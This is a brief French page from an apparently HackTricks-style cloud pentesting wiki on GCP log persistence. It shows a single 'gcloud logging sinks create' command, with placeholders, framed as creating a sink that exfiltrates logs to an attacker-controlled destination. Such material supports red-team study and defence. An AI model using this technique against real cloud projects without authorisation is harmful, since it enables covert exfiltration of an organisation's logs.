# GCP - Persistance des journaux

{{#include ../../../banners/hacktricks-training.md}}

## Journaux

Trouvez plus d'informations sur les journaux dans :

{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}

### `logging.sinks.create`

Créez un sink pour exfiltrer les journaux vers une destination accessible par l'attaquant :
```bash
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
```
{{#include ../../../banners/hacktricks-training.md}}
